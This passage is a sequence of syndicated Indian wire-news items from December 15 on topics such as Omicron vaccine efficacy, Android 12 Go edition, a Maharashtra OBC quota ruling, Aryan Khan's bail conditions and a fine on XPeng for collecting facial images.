told IANS that on the night of December 8, cops went to apprehend a robbery suspect, identified as Prince Gill, who had recently committed a robbery in the same locality. "He had robbed a man at gunpoint just a few days ago," a source said. The source informed that when they reached the house of the suspect, the family was not even opening the door to let them enter. "The robbery suspect was present inside the house but the family was repeatedly denying it," the source added. Later, they entered the house after much effort and apprehended the robbery accused. To the claims of the suspect's family of cops staging a dog fight, the source responded that the robbery suspect's pet dog was ferocious and the family was letting it loose on the police personnel. Sources also claimed the suspect was a repeat offender and it was not the first time he had robbed someone. As the matter reached the higher ups, a probe was ordered. Later, the Metropolitan Magistrate of Rohini Court also ordered an inquiry to be conducted by Joint CP, Northern range of the Delhi Police. San Francisco, Dec 15 : The lightweight version of the full-featured OS Android (Go edition), which Google announced in 2017, has reached over 200 million daily users. The company also said that with the recent release of Android 12 (Go edition), it is creating a faster, smarter and more privacy-friendly experience than ever before. "We are also making these phones more accessible by improving features for multilingual users and introducing new ones that keep data costs in mind," Charmaine D'Silva, Group Product Manager, Android, said in a blogpost. "Apps on your Android 12 (Go edition) device will launch up to 30 per cent faster and with smoother animation -- meaning they will open instantly, with no more waiting on a blank screen," D'Silva added. The company said they have also created the SplashScreen API so all developers can provide a consistently smooth experience when users launch their apps. Android 12 (Go edition) will automatically save battery life and storage by hibernating apps that have not been used for extended periods of time -- which is particularly helpful for devices with limited storage capacity. Meanwhile, the updated Files Go app will allow you to recover files within 30 days, so users can confidently delete unnecessary files to free up space in the meantime. Android 12 (Go edition) will give users more transparency around apps that are accessing their data and more controls to decide how much private information your apps can access. "To do this, we are adding a new privacy dashboard. You will see a snapshot of which apps are accessing particular types of sensitive data, like the microphone and revoke permissions if needed," the company said. "And the new privacy indicator on your status bar will tell you when your apps are specifically accessing your microphone or camera," it added. New York, Dec 15 : Vaccines developed by US drugmakers Pfizer, Moderna, Johnson and Johnson against Covid-19 have proved to be less effective against the new super mutant Omicron variant that has now spread to 77 countries. The Omicron variant, harbouring up to 36 mutations in spike protein, is known to evade vaccine efficacy. The study led by researchers at Massachusetts General Hospital (MGH), Harvard and MIT tested blood from people who received the Moderna, Johnson & Johnson and Pfizer/BioNTech vaccines against a pseudovirus engineered to resemble the Omicron variant. They included individuals that were both vaccinated recently or had recently taken booster doses, and also had prior SARS-CoV-2 infection. The findings, posted on preprint Memedrxiv, meaning not peer-reviewed yet, showed that the neutralisation of Omicron was 'undetectable' in most vaccinated individuals. "The study demonstrates that Omicron drastically escapes vaccine-induced immunity after primary vaccination series with mRNA-1273 (Moderna), BNT162b2 (PfizerBioNTech) or Ad26.COV2.S (Johnson & Johnson/Janssen) and exhibits increased infectivity in vitro, raising the potential for increased transmissibility," said Wilfredo F. Garcia-Beltran, Department of Pathology, MGH at Boston. However, individuals boosted with mRNA vaccines exhibited potent neutralisation of Omicron only 4-6-fold lower than wild type, suggesting that boosters enhance the cross-reactivity of neutralising antibody responses. The team also found that Omicron pseudovirus is more infectious than any other variant tested. Overall, this study highlights the importance of boosters to broaden neutralising antibody responses against highly divergent SARS-CoV-2 variants. Further, the study showed that recipients of mRNA boosters following J&J vaccine exhibited markedly improved neutralising titers, but did not achieve the breadth of response seen with mRNA primary vaccination followed by mRNA booster. "Our results would suggest that these recipients of J&J vaccines may benefit from additional mRNA vaccine doses with the potential to further raise titers and broaden their neutralizing activity," the researchers said. Omicron breakthrough infections may result in attenuated disease severity in vaccinated people due to cellular and innate immunity, they noted. "These findings support the need for rapid and synchronized widespread deployment of mRNA boosters as a public health measure to curtail the emergence and spread of highly mutated SARS-CoV-2 variants," Garcia-Beltran said. The results are in line with other studies recently published by researchers at the University of Oxford who said that they found the two-dose Pfizer and AstraZeneca Covid-19 vaccine regimens do not induce enough neutralising antibodies against the new variant. Latest updates on Coronavirus (COVID-19) -- Except for the title, this story has not been edited by Prokerala team and is auto-generated from a syndicated feed Chennai, Dec 15 : Tamil director and script writer R.K. Vidhyaadharan, better known as RKV, whose film 'Kadaisi Kadhal Kadhai' is ready for release, has disclosed that he has a whopping 1,414 scripts ready to be made into films. Vidhyaadharan has been penning scripts and dialogues for films for over 20 years. Says Vidhyaadharan, who is also a qualified veterinary doctor, "I have directed six films so far including the Sarathkumar-starrer 'Vaitheeswaran' in Tamil. But I have always been writing scripts and dialogues." The scriptwriter and director says that writing a script has become a daily habit now. "These 1,414 stories have been written in the last 10 years," says the director who discloses that he was inspired by writer Rajesh Kumar's achievements. "I happened to meet writer Rajesh Kumar, who has written over 1,500 novels. I was inspired by his accomplishments and realised I too had the skill. So, I decided to record all the stories I could think of," he says. With over 1,414 scripts to choose from, RKV says he has a one-liner of each story in one book as ready reference. "I have categorised all the scripts on the basis of their plots. For instance, I have a section on protection, on searching, on rebirth, on politics and so on. If a director comes to me asking for a script on rebirth, I visit that particular section and look into how many scripts are there under it. Each script has a number. If a director, after looking at the one-liners, gives me the number of the script he likes, I will narrate the whole plot to him and also give him its bound script," he explains. Interestingly, the script writer says that there are directors who come to him asking for plots that are different from these 1,414 scripts. "It was when such things happened that I realised that scripts are like an ocean," says the scriptwriter. Finally, ask him what was the number of the script of 'Kadaisi Kadhal Kadhai' in the list of scripts that he has and he says, without batting an eyelid, "It is the 531st script in the list of scripts that I have." New Delhi, Dec 15 : In another jolt to the Maharashtra government, the Supreme Court on Wednesday ordered the State Election Commission (SEC) and the state government to convert 27 per cent reserved seats for OBC into general category for zila parishad and panchayat samitis and issue a fresh notification. On December 6, the Supreme Court stayed the Maharashtra government decision to grant 27 per cent reservation for the OBC, which was brought by an ordinance, in the local body elections until further orders. A bench headed by Justice A.M. Khanwilkar directed the SEC to renotify the OBC seats as general category, so that polls for those seats can take place as per law along with elections for remaining 73 per cent. The bench also comprising Justice C.T. Ravikumar said the SEC must issue fresh notification for the remaining 27 per cent seats reserved for OBC as general category and commence election process for them along with the remaining 73 per cent, and declare the results for both polls simultaneously. The top court has scheduled the matter for further hearing in the third week of January. The top court declined to entertain requests by the Maharashtra government and a few intervenors seeking modification in the December 6 order. Senior advocate Dushyant Dave, representing one of the intervenors, emphasised that the Backward Classes cannot be forced to suffer due to the inaction of the state government or the Centre. The Maharashtra government counsel urged the court to put on hold the entire election, and in the meanwhile, it can direct the SEC to fast-track the process of data collection and review the matter after three months. On December 6, the top court had observed that 27 per cent OBC reservation could not be implemented without setting up a commission and also without collating data for inadequacy of representation in the local government. The top court also made it clear that SEC cannot allow notification of OBC seats in any state without any empirical data, in compliance with the triple test requirement laid down by the top court. "This is applicable for all future polls," said the bench. "Without setting up the Commission and collating contemporaneous empirical data to ascertain the extent of reservation required to be provided local body-wise, it is not open for the State Election Commission to provide reservation for OBC category despite the statutory provision in that regard," said the bench in its order. The bench said the first step of collating empirical data has not been completed so far. Senior advocate Shekhar Naphade, counsel appearing for the Maharashtra government, had argued that the provision inserted vide impugned Ordinance is in conformity with the decision of the top court. He added that it is for providing reservation to the category of Backward Class citizens up to 27 per cent only. In March this year, the apex court had struck down Maharashtra's move to introduce 27 per cent reservation for OBCs in zilla parishads and panchayat samitis. The top court had then said it was violative of the 50 per cent cap laid down in the top court's Indra Sawhney judgement. New Delhi, Dec 15 : Chinese electric vehicle (EV) firm XPeng Motors on Tuesday apologised for the illegal collection of 430,000 facial images of visitors to its stores over a six-month period, after the company was fined by market regulators for the illegal behaviour and prompted harsh criticisms on Chinese social media, Global Times reported. In a statement sent to the Global Times, the company said that all data involved had been deleted without leaks or the illegal use of personal information. The statement came after its Shanghai-based company was fined 100,000 yuan ($15,716.6) by local market regulators for illegal collection of over 430,000 photos of consumers' faces without their consent from January to June this year. The issue topped search trends on China's social media Sino Weibo on Tuesday. Many netizens expressed anger about the company's illegal performance, urging authorities to intensify crackdowns on companies that illegally collect private information, the report said. According to a notice for the penalty, the company purchased 22 cameras with facial recognition functions and installed them in its stores, so as to count the number of people entering the stores and analyze the proportion of people by gender and age. The firm did not inform consumers of the data collection and its use, nor did it ask for their permission, which violated the Consumer Rights Protection Law, analysts said. Xpeng is not the first company to be punished for illegally collecting customers' facial information in China. On March 15, the World Consumer Rights Day, China Media Group (CMG) reported that more than 20 stores, including Kohler and BMW 4S, had installed cameras with facial recognition functions to collect facial data without consumers' consent. "Facial data is highly sensitive personal information. Once leaked, it will cause great harm to personal and property security," Zhao Zhanling, a legal counsel at the Beijing-based Internet Society of China, told the Global Times on Tuesday. Pilibhit : , Dec 15 (IANS) Five elephants from Karnataka will be brought to the Pilibhit Tiger Reserve (PTR). These elephants will undertake forest patrolling and carry out rescue operations, especially in cases of man-animal conflict. A team of experts including PTR deputy director Naveen Khandelwal and senior veterinarian, Dr Daksh Gangwar, has reached Karnataka to select elephants. The final date to transport the jumbos will be decided soon after getting necessary approvals from the Karnataka Forest department. Dr Gangwar said, "Our priority is to look for young elephants between eight and 20 years. We may consider a little older elephant also if it is suitable. They must be healthy without any chronic injury or disease like tuberculosis. We are also checking how the elephant responds to commands of its mahout, condition of its nails, etc." According to Naveen Khandelwal, "We have shortlisted seven elephants and we will select more before finalizing five of them." Thereafter, a proposal will be sent to Karnataka's principal chief conservator of forests, who will give a final nod for handing over the elephants to PTR. This is expected by the end of January and once the approval is given, the elephants will be brought to Pilibhit, where they will be kept in isolation. Their mahouts from Karnataka will accompany the jumbos to PTR and stay till they accept commands in Hindi from local mahouts, Khandelwal added. December 15 : Shah Rukh Khan's son Aryan Khan, who was released on bail last month after 26 days in the jail, has been granted relief from appearing for weekly attendance before the Narcotics Control Bureau (NCB), which is investigating his case. As per Aryans bail conditions, he had to appear to NCBs office every Friday. His passport was also surrendered. Aryan was detained by the NCB on October 2 and arrested the following day in connection with the Mumbai cruise drugs raid. He was granted bail on October 28. Last week, Aryan had moved Bombay High Court and filed a plea for modification of the bail condition to give him relief from attending NCB office every week. Aryan had filed the application through the law firm Desai Desai Carrimjee and Mulla. According to the law firm, Aryan, who has been attending the NCB office every Friday as ordered by the High Court, has now sought relief from this bail condition. The Bombay High Court today heard Aryans plea seeking relaxation of some of the bail conditions, and granted him relief. He will not have to appear at the Mumbai office of the NCB every Friday. The Bombay High Court today scrapped this bail condition. The court, however, said he has to appear before the Special Investigation Team (SIT) in Delhi whenever it summoned him. Currently, SIT is looking into the drug raid in cruise case. In his plea, Aryan had stated that whenever he reaches the NCB office, there is always a huge crowd of media present at the office and he has to be accosted by policemen while going in and out of the office. The young boy has cited this as the reason to remove this bail condition. Reportedly, a single judge bench of Justice Nitin W Sambre today said that Aryan will have to appear before the SIT of the NCB in Delhi as and when summoned, provided 72-hour notice is given by the Central Agency. The court also said that the applicant will have to inform the investigating officer and provide an itinerary before going out of Mumbai. In his plea, Aryan had pointed out that since SIT, which is investigating the case, constitutes officials from the Delhi office of NCB, he should not be made to go to NCB office in Mumbai. Seoul, Dec 15 : A British three-star Army general has been named the new deputy commander of the US-led UN Command (UNC) headquartered in South Korea, its official said on Wednesday. Lt. Gen. Andrew Harrison will succeed Australian Vice Adm. Stuart C. Mayer who concluded his UNC mission on Wednesday after nearly 2 1/2 years of service at the command headquartered in Pyeongtaek, some 70 kilometres south of Seoul. However, when Harrison will officially take office has yet to be announced, Yonhap news agency reported. Earlier in the day, the command bid farewell to Mayer at a ceremony attended by Gen. Paul LaCamera, who leads the UNC, the South Korea-US Combined Forces Command and the US Forces Korea. LaCamera applauded Mayer's efforts to reinforce the UNC. "Vice Adm. Mayer brought with him 35 years of military experience. His strategic vision and his mastery of diplomatic inter-agency skills made lasting positive impacts," the commander was quoted by his office as saying. Mayer pledged to continue to advocate for the command. "When we look to the future and consider UNC, we can look ahead with the same mixture of pride and confidence, pride in 70 years after we first committed to the endeavour of restoring peace and security to the peninsula," Mayer said. The UNC serves as a key enforcer of the armistice agreement that halted the 1950-53 Korean War. Mumbai, Dec 15 : Granting relief, the Bombay High Court modified the bail condition of Aryan Khan, son of Bollywood megastar Shah Rukh Khan, requiring him to compulsorily mark attendance with the Narcotics Control Bureau office here, every Friday. Justice Nitin Sambre said while he need not go to the NCB headquarters here on Fridays, Aryan Khan must remain present before the NCB Special Investigation Team of Delhi whenever required, subject to a 72-hour advance notice given to him. On Aryan Khan's plea for travelling outside Mumbai, the court said he must submit his itinerary to the investigation officer in advance. His lawyer, Senior Advocate Amit Desai had sought modification to the bail condition since the matter is now being handled by the Delhi SIT, and the celeb-son faced huge problems in commuting each Friday owing to the huge media presence. Representing the NCB, the Special Public Prosecutor S. Shirsat concurred that since the case is now taken over by SIT Delhi, the (Friday compulsory appearance) condition could be modified to the extent as and when he is summoned by the SIT. In a sensation, the Mumbai NCB Zonal Director Sameer Wankhede and his team raided the luxury ship, Cordelia Cruise on October 1 and detained Aryan Khan, along with others. The following day (October 2), he and seven others were arrested sparking off a massive furore with allegations and counter-allegations from various quarters vis-a-vis Wankhede's action. Though no drugs were recovered from him, Aryan Khan spent almost four weeks in NCB and judicial custody till he was granted bail on October 28, and later the case was handed over to the agency's SIT Delhi for further probe. During the subsequent NCB investigations, a total of 20 persons were arrested in the same case and a majority are now enlarged on bail. Seoul, Dec 15 : Prosecutors on Wednesday demanded the death penalty for a stalker charged with killing his online game mate and two of her family members during his appellate court hearing in Seoul. The demand was made at the Seoul High Court for Kim Tae-hyun who was sentenced to life imprisonment by a district court in October on five criminal charges, including murder, housebreaking and theft, Yonhap news agency reported. The 25-year-old Kim was arrested in March for killing a woman whom he met through an online game last year, her mother and her younger sister at their home in northern Seoul. Kim reportedly stalked his online game mate and committed the brutal murders after she refused to meet him. Prosecutors said Kim deserves the maximum penalty allowed by law because his crime was brutal and the stalking victim's family members were killed. The appellate court said it plans to hold the sentencing hearing for Kim on January 19 next year. New Delhi, Dec 15 : Amid face-off between the government and the opposition on the issue of suspension of MPs, senior Congress leader P. Chidambaram on Wednesday alleged that the government is running away from voting on the issue. Chidambaram said, "The proviso of Rule 256 (2) of the Rules of Procedure of the Rajya Sabha is very clear. A motion can be moved "at any time" to terminate the suspension of a member or members. Such a motion was moved today. Why was it disallowed?" "Why is the government shy of voting on the motion? Let the government defeat the motion and proclaim its scant respect for fairness and justice," he added. Leader of the House Piyush Goyal, after the house resumed, said the suspended MPs should apologize after attacking marshals and misbehaving with the female marshals and senior opposition members are not repenting on the conduct. "Government is ready to consider their request but they should apologize," he added. Leader of the opposition Mallikarjun Kharge said, "we are requesting you that the crime which we have not done is put on us." Kharge alleged that house is being misled about the incident. During short discussion on Covid, the opposition demanded that the suspended MPs should be brought in the house after revocation. The Rajya Sabha on Wednesday witnessed disruption over the suspension issue. The opposition MPs held placards and walked up to the well of the house and raised slogans during the Question Hour and Deputy Chairman Harivansh Narayan Singh adjourned the house till 2 p.m. Earlier, as the proceedings started on Wednesday the Opposition members demanded their notices be accepted, but were rejected by the Chair and also revocation of suspension of the MPs, following which Chairman M. Venkiah Naidu adjourned the house till 12 noon. Thiruvananthapuram, Dec 15 : The Kerala government on Wednesday announced a government job and financial assistance of Rs 8 lakh to the wife of Junior Warrant Officer A. Pradip, who was killed along with Chief of Defence Staff Gen Bipin Rawat and 13 others in a chopper crash in Tamil Nadu on December 8. A decision to this effect was taken in the weekly cabinet meeting chaired by Chief Minister Pinarayi Vijayan. The decision to offer a job to Srilekshmi was announced by State Revenue Minister K. Rajan. The nature of the job would be decided after taking into account her educational qualifications. "Financial assistance of Rs 8 lakhs which includes Rs 3 lakhs to Pradip's ailing father and Rs 5 lakhs to Srilekshmi will also be provided," said Rajan. Thirty-eight-year-old Pradip's final journey had begun on last Saturday in Sulur, from where his mortal remains were brought to his home in Thrissur. A massive crowd had gathered at Pradip's house where the last rites were held with full military honours. He was accorded a full state funeral. His father, who was a casual labourer had stopped working after he joined IAF in 2002. Pradip was next to his ailing father, who was hospitalised, for two weeks and had left for Sulur just four days before the tragedy. His mother was a member of the local workforce in the National Rural Employment Guarantee programme. New Delhi, Dec 15 : Delhi Police have arrested the son of a retired army officer for duping people to the tune of Rs 2.6 crore by promising flats on a 'fictitious land' in Delhi's Dwarka area, a police officer said on Wednesday. R.K. Singh, Additional Commissioner of Police (Economic Offences Wing), said the accused has been identified as Vikram Sarin (40), who previously worked as AVP (sales and productivity) with CITI Bank, fraudulently sold residential flats in the name of CGHS Society on land allotted by the Delhi Development AUthority (DDA) in connivance with other co-accused in Dwarka. Furnishing the details, Singh said a complaint was registered by 10 people against Iramya Developers Pvt Ltd and its directors, in which they alleged that the accused company through its managing director induced the complainants by way of false representation that a parcel of land was allotted by the DDA to 'Status CGHS' at Dwarka, Delhi. The firm reportedly launched a residential project, namely 'Iramya Heights', in Sector 14, Dwarka, and induced the buyers to purchase units in the said project. "The complainants made a total payment of around Rs 2.6 crore against the bookings of their respective units," the official said, adding that the accused company promised the possession of the units within three years of booking. During the course of investigation, it was found that no land was ever allotted to the alleged company, Status CGHS, by the DDA. The accused used to induce and lure the victims residing in their vicinity to invest with them under the pretext of providing them flats. The cheated amount was received in cash as well as through banking channels. The accused, Vikram Sarin, was the founder director of the alleged company, Iramya Developers Pvt Ltd. The polcie said that Sarin along with late Omparkash Dhakolia, an ex-DDA employee, lured the victims in the name of two 'DDA allotted' plots in Sector 6 and Sector 14, Dwarka. "The accused persons had entered into criminal conspiracy and sold the units to gullible investors and received the funds without having any authority or permission or any land," the police said. The accused has been arrested under Sections 406, 420, 120B and 34 of the Indian Penal Code. New Delhi, Dec 15 : More than 1 million people in the UK are likely to be isolating with Covid on their own on Christmas Day, the latest data suggests, Daily Mail reported. England's chief medical officer Professor Chris Whitty warned the Cabinet during an update on Tuesday that the new Covid variant was spreading 'unbelievably fast'. According to official estimates, the speed at which the Omicron variant is spreading means that four times more people are likely to be isolating with Covid this Christmas than last December 25, when household mixing was banned across much of the country and a third national shutdown was imminent, the report said. Anyone becoming ill from today onwards will still be in the required ten-day isolation period on Christmas Day. Yesterday there were more than 4,700 confirmed Omicron cases, and Ministers claim the number is doubling every two days. At this rate, almost 100,000 people will be confirmed with Omicron on Christmas Eve, and around 1 million will be isolating the next day, the report said. UK Health Secretary Sajid Javid told MPs that even if Omicron turned out to be less severe than the Delta variant, the fact it spreads so easily meant 'it still has the potential to overwhelm the NHS'. He told Ministers that modellers believe Omicron cases may already be running at '200,000 a day' and 'doubling every two to three days'. However, some experts have cast doubt on the figure, which is far higher than the official Covid total and which is based on disputed mathematical modelling. Downing Street insisted the projection was 'valid', the report said. Prof Whitty also warned Ministers that astronomical infection rates will spark staff shortages in pubs, restaurants and shops. Latest updates on Christmas 2021 Thiruvananthapuram, Dec 15 : The former Commanding Officer of Group Capt Varun Singh, was disturbed on hearing about the passing away on Wednesday of his subordinate, who was the lone survivor of the chopper crash in which Chief of Defence Staff, Gen Bipin Rawat, his wife Madhulika Rawat and 11 other armed personnel were killed. Interacting with IANS, Air Commodore B. Balachandran (retd) said Varun Singh was trained in the Fighter Squadron 'Hawkeyes' in 2005-06, when he joined as a freshly commissioned Flying Officer and began his flying training in a MiG-21. "He passed out with flying colours and was always found to be very diligent and was a keen learner. It was this keenness which helped him to be selected for further career progression on the Jaguar aircraft. It's really sad to hear that he is no more as many wished he will come back and for someone who trained him, it's even sadder," he said. A day after the crash, Varun Singh was rushed to Bengaluru for treatment as his condition was stated to be very critical throughout. The Group Captain was recently conferred with the Shaurya Chakra by President Ram Nath Kovind for his act of exceptional gallantry. He was in the chopper along with General Rawat, who was on a visit to Defence Services Staff College at Wellington in Nilgiri Hills to address the faculty and student officers of the Staff Course, when it crashed. Hyderabad, Dec 15 : The bund of picturesque Hussain Sagar in the heart of Hyderabad is thronged by hundreds of tourists everyday and battle tank there is a centre of attraction. Visitors to Tank Bund, a key city landmark linking twin cities of Hyderabad and Secunderabad, are seen taking photographs with the tank in the background but not many are aware of its significance. The only piece of information available about the tank is on a stone inscribed plate but very few bother to find out why a tank is lying on Tank Bund. This is Pakistan's M-47 Patton tank, which was given as war trophy to 54th Infantry Division after the 1971 war. It was installed on Tank Bund after the battalion gifted it to the city. "Bash On Regardless. Presented to the citizens of the twin cities on 26 Nov 1973 by Major General, WAG Pinto, PVSM, and all ranks 54 INF Division (The Bash-on-Regardless Bison Division) as a token of esteem and appreciation for their unstinted support ever since the division was raised in Hyderabad-Secunderabad in Oct 1966. This M-47 Patton Tank is one of the 66 tanks knocked out by the Division in the wake of its swift advance and capture of 988 SQ KMS of enemy territory during the 14 days war of Dec 1971," reads the plate. The tank which was disabled during Battle of Basantar, one of the major events in the war, is sitting as the enduring testimony of the valour of the Indian Army, especially the Bison division which had played a key role in foiling the plans of Pakistan to take over Shakargarh Bulge. During his visit to Hyderabad in 2011, Lieutenant General Walter Anthony Gustavo Pinto (retired), who had commanded the 54th Infantry Division during the Battle of Basantar, had recalled the story behind the tank. He had to convince the then Andhra Pradesh administration to accept the war trophy as a gift to the city. The state was then under President's rule and the officials were reluctant to accept and install it for public display. The advisor to the governor thought that this might unnecessarily arouse old sensitivities and animosities. He, however, agreed after some persuasion and second thought. The war hero, during 2011 visit, had also released a book on his war experiences. The title of the book is 'Bash on regardless', which is also the motto of the 54th infantry Division. The phrase, Lt Gen Pinto had recalled, originated from a sign he had erected in the Pakistani territory after capturing it. The signs read "You are now entering Pakistan. No passports required. So Bash on Regardless." Well-known heritage activist Anuradha Reddy described the M-47 Patton Tank as a very good reminder of the sacrifices made by the Army at that time. "By gifting it to the city and in public visual state, it is a constant reminder for people with that memory and it is an introduction to the newer generation that see, learn and value the role of the defence forces in safeguarding India," she told IANS. She, however, laments lack of proper protection and the poor maintenance of the war trophy by the civic authorities concerned. Over the years, the iconic symbol was dilapidated. There are no railings to protect the tank and visitors are often seen climbing and playing on it. A closer look shows the tank catching rust at a few points. The negligence has led to the serial number and other signs on the tank getting erased. Seoul, Dec 15 : Kim Yong-ju, a younger brother of North Korea's late founder Kim Il-sung and once a powerful official of the regime, has died, according to Pyongyang's state media on Wednesday. The North's leader Kim Jong-un sent a wreath the previous day to express condolences over his death, the Korean Central News Agency (KCNA) said. His death at the age of 101 came as the leader marks the 10th anniversary this month of taking power in a hereditary succession, Yonhap news agency reported. Kim Yong-ju was a former honorary vice chairman of the standing committee of the North's rubber stamp Supreme People's Assembly, and a winner of the Order of Kim ll-sung and the Order of Kim Jong-il, the report said, without giving further details, such as when he died. Born in 1920, he was the head of the ruling party's influential organisation and guidance department in the Kim Il-sung era but was replaced by his nephew Kim Jong-il in 1973. He had since been effectively erased from the North's political scene for around two decades. In 1993, Kim returned to the ruling party as a member of the politburo and vice president of the country after Kim Jong-il solidified his grip on power as the North's next leader. Kim Jong-il ruled the reclusive North after the death of his father in 1994 until 2011. "Kim Yong-ju devotedly struggled to implement the Party's lines and policies and made a contribution to accelerating socialist construction and developing the Korean-style state social system, while working at important posts of the Party and the state for many years," the KCNA said. Kim Yong-ju last appeared in the North's state media in 2015, seen bowing to photos of the North's former leaders after casting a vote at a local election. Panaji, Dec 15 : Goa Congress president Girish Chodankar on Wednesday accused state Urban Development Minister Milind Naik of being party to an alleged sex scandal involving a woman from Bihar. Chodankar appealed to Bihar Chief Minister Nitish Kumar to back the victim and give her confidence to file a complaint against the Minister in the BJP-led coalition government in the coastal state. Even as the Youth Congress filed a formal complaint with the Women's police station in Panaji against Naik, accusing him of allegedly trying to sexually harass the victim, state Bharatiya Janata Party president Sadanand Shet Tanavade said that he would speak to Chief Minister Pramod Sawant about the development. "The Minister involved in the sex scandal, Milind Naik, should be sacked and action should be initiated against him. And Ministers like Milind Naik who sexually assault women should not be protected or the people of Goa will not forgive me," Chodankar told a press conference in Panaji. Chodankar had first made the allegation without naming Naik on December 1 and had given Chief Minister Sawant 15 days to sack the minister and act against him, failing which, the state Congress president said, he would be forced to reveal the name. "The day we had announced the sex scandal on December 1, I had not taken the name of any politician or Minister involved in the scandal. We had given the government an opportunity to act. They have not," Chodankar said. After his announcement on December 1, Chodankar had also received a legal notice from a Mumbai-based law firm on behalf of the victim, who claimed to hail from Bihar, directing him to desist from naming her and the Minister. The victim has allegedly filed a First Information Report at a police station in Bihar's Bettiah district, accusing a Goa Congress office bearer Sankalp Amonkar and others of alleged extortion. In his press conference, Chodankar also appealed to Nitish Kumar to back the victim in the alleged sex scandal, urging him to ensure that the woman is not pressurised by the BJP and empowering her to file a complaint against the Goa Minister. "I urge the Bihar CM Nitish Kumar to safeguard the interests of a daughter of Bihar, against whom a Minister in Goa is committing atrocities. You are speaking about empowering women in Bihar. Will you stand with your daughter or with the Minister in Goa. The people of Bihar and India are watching you," Chodankar said. "I appeal to the CM of Bihar. Give the required confidence to the woman who is claiming to be from Bihar as per the legal notice I have received and the police complaint that is filed," he added. When asked to comment, state BJP president Tanavade said that he would discuss the matter with the Chief Minister. "I will speak to the CM about it. Let the person file a complaint," Tanavade said. Gandhinagar, Dec 15 : The Gujarat Subordinate Service Selection Board (GSSSB)on Wednesday said that an inquiry has been ordered into the head clerk exams question papers leak claim by AAP. "Till now, we have not received a single complaint regarding the exam paper leak. From the board's end, best efforts are maintained for transparency. Around 88,000 candidates had appeared at 782 centres for the exams out of the 2,41,400 applications for the 186 vacant posts of the head clerk," GSSSB chairperson Hasit Vora told media. "We learnt about these allegations through TV media. We waited for one day for a complaint, but have not received any so far. We have formed 16 police teams. Minister of State for Home Harsh Sanghavi has assured to take all steps to bring outr the truth. No one will be spared," he added. The examination, he said, were taken in six districts-- Gandhinagar, Ahmedabad, Surat, Vadodara, Rajkot and Jamnagar. "We are in constant touch with the District Education Officer (DEO). The police has formed 16 teams to investigate. As soon as any authentic clue is found in these investigation, the board will file a formal complaint with the police," added Vora. "Till then, we won't even release the answer keys to the examiners," added Vora. Yuvrajsinh Jadeja, a leader of Aam Aadmi Party (AAP), on Monday alleged that the question paper for the examinations for the 186 posts of head clerk got leaked and sold for about Rs 10 lakh. "Over 1.50 lakh candidates appeared for the exam held on Sunday, whose question paper was leaked in Himmatnagar and had been accessed by Sunday morning by at least 72 candidates in Bhavnagar, Surendranagar and Vadodara," he had told media. Claiming that the question paper was sold for as much as Rs 10 lakh, he demanded an inquiry into the matter. Kabul, Dec 15 : The second shipment of Turkmenistan-donated humanitarian supplies has arrived in Afghanistan's western province of Herat, reports said. The supplies, including fuel, liquefied gas, wheat and clothing, as part of the $1.2 million Turkmen aid, were transported to provincial capital Herat city via the land port in Torghondi, reported Xinhua, citing the state-run Radio Television of Afghanistan. Sher Mohammad Abbas Stanikzai, Deputy Foreign Minister of the Taliban caretaker government, and visiting Turkmen officials attended the handover ceremony in Herat on Tuesday. Stanikzai thanked Turkmenistan for its humanitarian assistance and called the neighbouring country a true friend of Afghanistan. The people of Afghanistan are facing a profound humanitarian crisis that threatens the most basic of human rights, the Human Rights Council of the UN warned on Tuesday. Lucknow, Dec 15 : Uttar Pradesh Chief Minister Yogi Adityanath on Wednesday accused the Samajwadi Party of being biased towards a specific caste. The Chief Minister pointed out that when the recruitment process is compromised on the lines of caste and money, the state has to suffer worse consequences. Comparing the Samajwadi Party with the characters of Mahabharata, he said that as 'Kaka-Mama-Nana' completely halted the progress of India during Mahabharata, in the same way, this family (Samajwadi Party) remained an impediment to the progress of the state. Stating that the corruption and nepotism in recruitments are things of the past, he said: "During Akhilesh Yadav's tenure as Uttar Pradesh Chief Minister, recruitment used to take place on the basis of caste and money, without looking at the merit. There was always casteism-nepotism in appointments. When the result of deputy collector was declared under the SP rule, out of 86, the names of 56 people belonged to the same particular caste." The chief minister was speaking at a function here to launch 'Akansha Peti' (aspiration box) under the 'Sujhav Aapka Sankalp Hamara' programme. For the 2022 assembly elections, the BJP will keep the 'Akansha Peti' at 30,000 places in the village and urban areas of the state. Escalating the attack on the erstwhile Samajwadi government, Yogi Adityanath stated: "Between 2012 and 2017, appointments to government posts in UP were distributed among the members of a family. One appointment process was looked after by an uncle and the other was allotted to a nephew, maternal uncle, or maternal grandfather." "Before 2017, people used to point fingers at Uttar Pradesh but today under BJP's rule, Uttar Pradesh has undergone a complete transformation and its perception before the country and across the globe has changed," he said. Asserting that development has never been the agenda of the previous government, he said that before 2017, there were two expressways in Uttar Pradesh. There was no Metro in any city. Today, the state has constructed many highways and expressways. New Delhi, Dec 15 : After performing for over 12 years all over the world, this was the first time in a long time Nitinn R Miranni was nervous and had mixed feelings about what to do and not do, performing in front of an audience full of inmates. Miranni is the first comedian to entertain inmates at Dubai Central Prison - General Department Of Punitive & Correctional Institution earlier in October this year. Miranni recalls he was pleasantly surprised to see the inmates responded well to him and what he had to say, not only laughing out loud but also being very interactive and encouraging. It brought them as much joy as it did the comedian to cheer them up and bring a smile to their faces. Following his session, he had the opportunity to visit the facility and was very impressed with how the inmates were cared for and how they were benefitting from learning a new skill which would help them when they were released. "The Dubai Police were so concerned about the inmates' well-being and mental, physical, and emotional development," stated Miranni thanking, "Sameera Sajan and Shabnam Kassam for the opportunity along with Rizwan Sajan, Founder & Chairman - Danube Group, Corporal Amer Miran - Educational Program Coordinator & and Major Mohammed Al Obaidli - Director of Inmates Training & Educational Department for making it happen." (IANSlife can be contacted at ianslife@ians.in) New Delhi, Dec 15 : Prime Minister Narendra Modi on Wednesday met BJP Members of Parliament (MP) from South India. According to sources, party MPs from Andhra Pradesh, Telangana, Kerala and Karnataka were present in the meeting. It is learnt that the Prime Minister and the MPs deliberated on important issues concerning the southern part of the country. After listening to them, Modi assured to address their concerns. The sources said it was a "courtesy meeting" and that the Prime Minister regularly calls such meetings when Parliament is in session. "Prime Minister regularly meets BJP MPs during parliament sessions. Sometimes, he meets BJP MPs region wise or state wise. In these meetings, he listens to their concerns and addresses them. He also guides MPs to improve their functioning," a BJP leader said. Last week, the Prime Minister had met party MPs from North Eastern states. "A delegation of BJP MPs from Northeast, led by BJP President J P Nadda and B L Santhosh met PM Narendra Modi ji to discuss the key issues concerning the region. NE is progressing at a rapid pace, all thanks to PM Modi ji's constant support & guidance," BJP MP from Assam Dilip Saikia had tweeted after the meeting. On December 